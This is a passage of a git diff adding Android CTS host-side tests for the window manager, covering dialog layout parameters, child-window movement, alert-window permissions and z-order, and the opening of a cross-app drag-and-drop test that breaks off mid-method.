diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
new file mode 100755
index 0000000..46c9b03
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.FrameTestApp">
+    <application>
+        <activity android:name=".DialogTestActivity"
+                android:exported="true"
+        />
+        <activity android:name=".MovingChildTestActivity"
+                  android:exported="true"
+        />
+    </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
new file mode 100644
index 0000000..593cf34
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.FrameTestApp;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+import android.view.Window;
+import android.view.Gravity;
+
+public class DialogTestActivity extends Activity {
+
+    AlertDialog mDialog;
+
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+    }
+
+    protected void onStop() {
+        super.onStop();
+        mDialog.dismiss();
+    }
+    protected void onResume() {
+        super.onResume();
+        setupTest(getIntent());
+    }
+
+    private void setupTest(Intent intent) {
+        String testCase = intent.getStringExtra(
+                "android.server.FrameTestApp.DialogTestCase");
+        switch (testCase) {
+           case "MatchParent": {
+               testMatchParent();
+               break;
+           } case "MatchParentLayoutInOverscan": {
+               testMatchParentLayoutInOverscan();
+           }  break;
+           case "ExplicitSize": {
+               testExplicitSize();
+               break;
+           }
+           case "ExplicitSizeTopLeftGravity": {
+               testExplicitSizeTopLeftGravity();
+               break;
+           }
+           case "ExplicitSizeBottomRightGravity": {
+               testExplicitSizeBottomRightGravity();
+               break;
+           }
+           case "OversizedDimensions": {
+               testOversizedDimensions();
+               break;
+           }
+           case "OversizedDimensionsNoLimits": {
+               testOversizedDimensionsNoLimits();
+               break;
+           }
+           case "ExplicitPositionMatchParent": {
+               testExplicitPositionMatchParent();
+               break;
+           }
+           case "ExplicitPositionMatchParentNoLimits": {
+               testExplicitPositionMatchParentNoLimits();
+               break;
+           }
+           case "NoFocus": {
+               testNoFocus();
+               break;
+           }
+           case "WithMargins": {
+               testWithMargins();
+               break;
+           }
+           default:
+               break;
+        }
+    }
+
+    interface DialogLayoutParamsTest {
+        void doSetup(WindowManager.LayoutParams p);
+    }
+
+    private void doLayoutParamTest(DialogLayoutParamsTest t) {
+        mDialog = new AlertDialog.Builder(this).create();
+
+        mDialog.setMessage("Testing is fun!");
+        mDialog.setTitle("android.server.FrameTestApp/android.server.FrameTestApp.TestDialog");
+        mDialog.create();
+
+        Window w = mDialog.getWindow();
+        final WindowManager.LayoutParams params = w.getAttributes();
+        t.doSetup(params);
+        w.setAttributes(params);
+
+        mDialog.show();
+    }
+
+    private void testMatchParent() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = WindowManager.LayoutParams.MATCH_PARENT;
+            params.height = WindowManager.LayoutParams.MATCH_PARENT;
+        });
+    }
+
+    private void testMatchParentLayoutInOverscan() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = WindowManager.LayoutParams.MATCH_PARENT;
+            params.height = WindowManager.LayoutParams.MATCH_PARENT;
+            params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
+            params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_IN_OVERSCAN;
+        });
+    }
+
+    private void testExplicitSize() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = 200;
+            params.height = 200;
+        });
+    }
+
+    private void testExplicitSizeTopLeftGravity() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = 200;
+            params.height = 200;
+            params.gravity = Gravity.TOP | Gravity.LEFT;
+        });
+    }
+
+    private void testExplicitSizeBottomRightGravity() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = 200;
+            params.height = 200;
+            params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
+        });
+    }
+
+    private void testOversizedDimensions() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = 100000;
+            params.height = 100000;
+        });
+    }
+
+    private void testOversizedDimensionsNoLimits() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = 5000;
+            params.height = 5000;
+            params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+            params.gravity = Gravity.LEFT | Gravity.TOP;
+        });
+    }
+
+    private void testExplicitPositionMatchParent() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = WindowManager.LayoutParams.MATCH_PARENT;
+            params.height = WindowManager.LayoutParams.MATCH_PARENT;
+            params.x = 100;
+            params.y = 100;
+        });
+    }
+
+    private void testExplicitPositionMatchParentNoLimits() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.width = WindowManager.LayoutParams.MATCH_PARENT;
+            params.height = WindowManager.LayoutParams.MATCH_PARENT;
+            params.gravity = Gravity.LEFT | Gravity.TOP;
+            params.flags |= WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+            params.x = 100;
+            params.y = 100;
+        });
+    }
+
+    private void testNoFocus() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        });
+    }
+
+    private void testWithMargins() {
+        doLayoutParamTest((WindowManager.LayoutParams params) -> {
+            params.gravity = Gravity.LEFT | Gravity.TOP;
+            params.horizontalMargin = .25f;
+            params.verticalMargin = .35f;
+            params.width = 200;
+            params.height = 200;
+            params.x = 0;
+            params.y = 0;
+        });
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java
new file mode 100644
index 0000000..de6f597
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.FrameTestApp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.Context;
+import android.os.Bundle;
+import android.view.WindowManager;
+import android.view.Window;
+import android.view.Gravity;
+import android.view.View;
+import android.widget.Space;
+import android.widget.Button;
+import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
+import android.widget.FrameLayout;
+
+// This activity will parent a Child to the main window, and then move
+// the main window around. We can use this to verify the Child
+// is properly updated.
+public class MovingChildTestActivity extends Activity {
+    Space mView;
+    int mX = 0;
+    int mY = 0;
+
+    final Runnable moveWindow = new Runnable() {
+            @Override
+            public void run() {
+                final Window w = getWindow();
+                final WindowManager.LayoutParams attribs = w.getAttributes();
+                attribs.privateFlags = WindowManager.LayoutParams.PRIVATE_FLAG_NO_MOVE_ANIMATION;
+                attribs.x = mX % 1000;
+                attribs.y = mY % 1000;
+                w.setAttributes(attribs);
+                mX += 5;
+                mY += 5;
+                mView.postDelayed(this, 50);
+            }
+    };
+
+    final Runnable makeChild = new Runnable() {
+            @Override
+            public void run() {
+                Button b = new Button(MovingChildTestActivity.this);
+                WindowManager.LayoutParams p = new WindowManager.LayoutParams(
+                        WindowManager.LayoutParams.TYPE_APPLICATION_PANEL);
+                p.privateFlags = WindowManager.LayoutParams.PRIVATE_FLAG_NO_MOVE_ANIMATION;
+                p.x = 0;
+                p.y = 0;
+                p.token = mView.getWindowToken();
+                p.setTitle("ChildWindow");
+
+                ((WindowManager)getSystemService(Context.WINDOW_SERVICE)).addView(b, p);
+
+                mView.postDelayed(moveWindow, 50);
+            }
+    };
+
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+
+        final LayoutParams p = new LayoutParams(100, 100);
+        final Window w = getWindow();
+        w.setLayout(100, 100);
+        mView = new Space(this);
+
+        setContentView(mView, p);
+        mView.post(makeChild);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
new file mode 100644
index 0000000..bfed6d5
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.platform.test.annotations.Presubmit;
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsWindowManagerHostTestCases android.server.cts.AlertWindowsTests
+ */
+@Presubmit
+public class AlertWindowsTests extends ActivityManagerTestBase {
+
+    private static final String PACKAGE_NAME = "android.server.alertwindowapp";
+    private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
+    private static final String SDK_25_PACKAGE_NAME = "android.server.alertwindowappsdk25";
+    private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
+
+    // From WindowManager.java
+    private static final int TYPE_BASE_APPLICATION      = 1;
+    private static final int FIRST_SYSTEM_WINDOW        = 2000;
+
+    private static final int TYPE_PHONE                 = FIRST_SYSTEM_WINDOW + 2;
+    private static final int TYPE_SYSTEM_ALERT          = FIRST_SYSTEM_WINDOW + 3;
+    private static final int TYPE_SYSTEM_OVERLAY        = FIRST_SYSTEM_WINDOW + 6;
+    private static final int TYPE_PRIORITY_PHONE        = FIRST_SYSTEM_WINDOW + 7;
+    private static final int TYPE_SYSTEM_ERROR          = FIRST_SYSTEM_WINDOW + 10;
+    private static final int TYPE_APPLICATION_OVERLAY   = FIRST_SYSTEM_WINDOW + 38;
+
+    private static final int TYPE_STATUS_BAR            = FIRST_SYSTEM_WINDOW;
+    private static final int TYPE_INPUT_METHOD          = FIRST_SYSTEM_WINDOW + 11;
+    private static final int TYPE_NAVIGATION_BAR        = FIRST_SYSTEM_WINDOW + 19;
+
+    private final List<Integer> mAlertWindowTypes = Arrays.asList(
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY,
+            TYPE_APPLICATION_OVERLAY);
+    private final List<Integer> mSystemWindowTypes = Arrays.asList(
+            TYPE_STATUS_BAR,
+            TYPE_INPUT_METHOD,
+            TYPE_NAVIGATION_BAR);
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        try {
+            setAlertWindowPermission(PACKAGE_NAME, false);
+            setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
+            executeShellCommand("am force-stop " + PACKAGE_NAME);
+            executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
+        } catch (DeviceNotAvailableException e) {
+        }
+    }
+
+    public void testAlertWindowAllowed() throws Exception {
+        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
+                true /* atLeastO */);
+    }
+
+    public void testAlertWindowDisallowed() throws Exception {
+        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
+                true /* atLeastO */);
+    }
+
+    public void testAlertWindowAllowedSdk25() throws Exception {
+        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+                true /* hasAlertWindowPermission */, false /* atLeastO */);
+    }
+
+    public void testAlertWindowDisallowedSdk25() throws Exception {
+        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+                false /* hasAlertWindowPermission */, false /* atLeastO */);
+    }
+
+    private void runAlertWindowTest(String packageName, String activityName,
+            boolean hasAlertWindowPermission, boolean atLeastO) throws Exception {
+        setComponentName(packageName);
+        setAlertWindowPermission(packageName, hasAlertWindowPermission);
+
+        executeShellCommand(getAmStartCmd(activityName));
+        mAmWmState.computeState(mDevice, new String[] { activityName });
+        mAmWmState.assertVisibility(activityName, true);
+
+        assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
+    }
+
+    private void assertAlertWindows(String packageName, boolean hasAlertWindowPermission,
+            boolean atLeastO) {
+        final WindowManagerState wMState = mAmWmState.getWmState();
+
+        final ArrayList<WindowManagerState.WindowState> alertWindows = new ArrayList();
+        wMState.getWindowsByPackageName(packageName, mAlertWindowTypes, alertWindows);
+
+        if (!hasAlertWindowPermission) {
+            assertTrue("Should be empty alertWindows=" + alertWindows, alertWindows.isEmpty());
+            return;
+        }
+
+        if (atLeastO) {
+            // Assert that only TYPE_APPLICATION_OVERLAY was created.
+            for (WindowManagerState.WindowState win : alertWindows) {
+                assertTrue("Can't create win=" + win + " on SDK O or greater",
+                        win.getType() == TYPE_APPLICATION_OVERLAY);
+            }
+        }
+
+        final WindowManagerState.WindowState mainAppWindow =
+                wMState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
+
+        assertNotNull(mainAppWindow);
+
+        wMState.sortWindowsByLayer(alertWindows);
+        final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
+        final WindowManagerState.WindowState highestAlertWindow =
+                alertWindows.get(alertWindows.size() - 1);
+
+        // Assert that the alert windows have higher z-order than the main app window
+        assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
+                        + mainAppWindow, lowestAlertWindow.getLayer() > mainAppWindow.getLayer());
+
+        // Assert that legacy alert windows have a lower z-order than the new alert window layer.
+        final WindowManagerState.WindowState appOverlayWindow =
+                wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
+        if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
+            assertTrue("highestAlertWindow=" + highestAlertWindow
+                    + " greater than appOverlayWindow=" + appOverlayWindow,
+                    highestAlertWindow.getLayer() < appOverlayWindow.getLayer());
+        }
+
+        // Assert that alert windows are below key system windows.
+        final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
+        wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
+        if (!systemWindows.isEmpty()) {
+            wMState.sortWindowsByLayer(systemWindows);
+            final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
+            assertTrue("highestAlertWindow=" + highestAlertWindow
+                    + " greater than lowestSystemWindow=" + lowestSystemWindow,
+                    highestAlertWindow.getLayer() < lowestSystemWindow.getLayer());
+        }
+    }
+
+    private void setAlertWindowPermission(String packageName, boolean allow) throws Exception {
+        executeShellCommand("appops set " + packageName + " android:system_alert_window "
+                + (allow ? "allow" : "deny"));
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
new file mode 100644
index 0000000..218fcfe
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import static android.server.cts.StateLogger.logE;
+
+import java.util.List;
+import java.util.ArrayList;
+import java.awt.Rectangle;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.server.cts.ActivityManagerTestBase;
+import android.server.cts.WindowManagerState.WindowState;
+
+public class ChildMovementTests extends ParentChildTestBase {
+    private List<WindowState> mWindowList = new ArrayList();
+
+    @Override
+    String intentKey() {
+        return "android.server.FrameTestApp.ChildTestCase";
+    }
+
+    @Override
+    String activityName() {
+        return "MovingChildTestActivity";
+    }
+
+    WindowState getSingleWindow(String fullWindowName) {
+        try {
+            mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + fullWindowName);
+            return null;
+        }
+    }
+
+    WindowState getSingleWindowByPrefix(String prefix) {
+        try {
+            mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + prefix);
+            return null;
+        }
+    }
+
+    void doSingleTest(ParentChildTest t) throws Exception {
+        String popupName = "ChildWindow";
+        final String[] waitForVisible = new String[] { popupName };
+
+        mAmWmState.setUseActivityNamesForWindowNames(false);
+        mAmWmState.computeState(mDevice, waitForVisible);
+        WindowState popup = getSingleWindowByPrefix(popupName);
+        WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
+
+        t.doTest(parent, popup);
+    }
+
+
+    Object monitor = new Object();
+    boolean testPassed = false;
+    String popupName = null;
+    String mainName = null;
+
+    SurfaceTraceReceiver.SurfaceObserver observer = new SurfaceTraceReceiver.SurfaceObserver() {
+        int transactionCount = 0;
+        boolean sawChildMove = false;
+        boolean sawMainMove = false;
+        int timesSeen = 0;
+
+        @Override
+        public void openTransaction() {
+            transactionCount++;
+            if (transactionCount == 1) {
+                sawChildMove = false;
+                sawMainMove = false;
+            }
+        }
+
+        @Override
+        public void closeTransaction() {
+            transactionCount--;
+            if (transactionCount != 0) {
+                return;
+            }
+            synchronized (monitor) {
+                if (sawChildMove ^ sawMainMove ) {
+                    monitor.notifyAll();
+                    return;
+                }
+                if (timesSeen > 10) {
+                    testPassed = true;
+                    monitor.notifyAll();
+                }
+            }
+        }
+
+        @Override
+        public void setPosition(String windowName, float x, float y) {
+            if (windowName.equals(popupName)) {
+                sawChildMove = true;
+                timesSeen++;
+            } else if (windowName.equals(mainName)) {
+                sawMainMove = true;
+            }
+        }
+    };
+
+    /**
+     * Here we test that a Child moves in the same transaction
+     * as its parent. We launch an activity with a Child which will
+     * move around its own main window. Then we listen to WindowManager transactions.
+     * Since the Child is static within the window, if we ever see one of
+     * them move xor the other one we have a problem!
+     */
+    public void testSurfaceMovesWithParent() throws Exception {
+        doFullscreenTest("MovesWithParent",
+            (WindowState parent, WindowState popup) -> {
+                    popupName = popup.getName();
+                    mainName = parent.getName();
+                    installSurfaceObserver(observer);
+                    try {
+                        synchronized (monitor) {
+                            monitor.wait(5000);
+                        }
+                    } catch (InterruptedException e) {
+                    } finally {
+                        assertTrue(testPassed);
+                        removeSurfaceObserver();
+                    }
+            });
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
new file mode 100644
index 0000000..17ede35
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
@@ -0,0 +1,547 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+public class CrossAppDragAndDropTests extends DeviceTestCase {
+    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
+    // updated.
+    /** ID of stack where fullscreen activities are normally launched into. */
+    private static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
+
+    /** ID of stack where freeform/resized activities are normally launched into. */
+    private static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
+
+    /** ID of stack that occupies a dedicated region of the screen. */
+    private static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
+
+    /** ID of stack that always on top (always visible) when it exists. */
+    private static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
+
+    private static final String AM_FORCE_STOP = "am force-stop ";
+    private static final String AM_MOVE_TASK = "am stack move-task ";
+    private static final String AM_RESIZE_TASK = "am task resize ";
+    private static final String AM_REMOVE_STACK = "am stack remove ";
+    private static final String AM_START_N = "am start -n ";
+    private static final String AM_STACK_LIST = "am stack list";
+    private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
+    private static final String TASK_ID_PREFIX = "taskId";
+
+    // Regex pattern to match adb shell am stack list output of the form:
+    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+    private static final String TASK_REGEX_PATTERN_STRING =
+            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
+    private static final int SWIPE_DURATION_MS = 500;
+
+    private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
+    private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
+    private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
+
+
+    private static final String SOURCE_ACTIVITY_NAME = "DragSource";
+    private static final String TARGET_ACTIVITY_NAME = "DropTarget";
+
+    private static final String FILE_GLOBAL = "file_global";
+    private static final String FILE_LOCAL = "file_local";
+    private static final String DISALLOW_GLOBAL = "disallow_global";
+    private static final String CANCEL_SOON = "cancel_soon";
+    private static final String GRANT_NONE = "grant_none";
+    private static final String GRANT_READ = "grant_read";
+    private static final String GRANT_WRITE = "grant_write";
+    private static final String GRANT_READ_PREFIX = "grant_read_prefix";
+    private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
+    private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
+
+    private static final String REQUEST_NONE = "request_none";
+    private static final String REQUEST_READ = "request_read";
+    private static final String REQUEST_READ_NESTED = "request_read_nested";
+    private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
+    private static final String REQUEST_WRITE = "request_write";
+
+    private static final String SOURCE_LOG_TAG = "DragSource";
+    private static final String TARGET_LOG_TAG = "DropTarget";
+
+    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+    private static final String RESULT_KEY_DROP_RESULT = "DROP";
+    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+    private static final String RESULT_MISSING = "Missing";
+    private static final String RESULT_OK = "OK";
+    private static final String RESULT_EXCEPTION = "Exception";
+    private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
+
+    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
+            "am supports-split-screen-multi-window";
+
+    private ITestDevice mDevice;
+
+    private Map<String, String> mSourceResults;
+    private Map<String, String> mTargetResults;
+
+    private String mSourcePackageName;
+    private String mTargetPackageName;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mDevice = getDevice();
+
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        mSourcePackageName = SOURCE_PACKAGE_NAME;
+        mTargetPackageName = TARGET_PACKAGE_NAME;
+        cleanupState();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        mDevice.executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
+        mDevice.executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
+    }
+
+    private String executeShellCommand(String command) throws DeviceNotAvailableException {
+        return mDevice.executeShellCommand(command);
+    }
+
+    private void clearLogs() throws DeviceNotAvailableException {
+        executeShellCommand("logcat -c");
+    }
+
+    private String getStartCommand(String componentName, String modeExtra) {
+        return AM_START_N + componentName + " -e mode " + modeExtra;
+    }
+
+    private String getMoveTaskCommand(int taskId, int stackId) throws Exception {
+        return AM_MOVE_TASK + taskId + " " + stackId + " true";
+    }
+
+    private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
+            throws Exception {
+        return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
+                + " " + bottomRight.y;
+    }
+
+    private String getComponentName(String packageName, String activityName) {
+        return packageName + "/" + packageName + "." + activityName;
+    }
+
+    /**
+     * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
+     * is in a good state.
+     */
+    private void cleanupState() throws Exception {
+        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
+        executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
+        executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
+        unlockDevice();
+
+        // Reinitialize the docked stack to force the window manager to reset its default bounds.
+        // See b/29068935.
+        clearLogs();
+        final String componentName = getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME);
+        executeShellCommand(getStartCommand(componentName, null) + " --stack " +
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        final int taskId = getActivityTaskId(componentName);
+        // Moving a task from the full screen stack to the docked stack resets
+        // WindowManagerService#mDockedStackCreateBounds.
+        executeShellCommand(getMoveTaskCommand(taskId, DOCKED_STACK_ID));
+        waitForResume(mSourcePackageName, SOURCE_ACTIVITY_NAME);
+        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
+
+        // Remove special stacks.
+        executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
+        executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
+        executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
+    }
+
+    private void launchDockedActivity(String packageName, String activityName, String mode)
+            throws Exception {
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
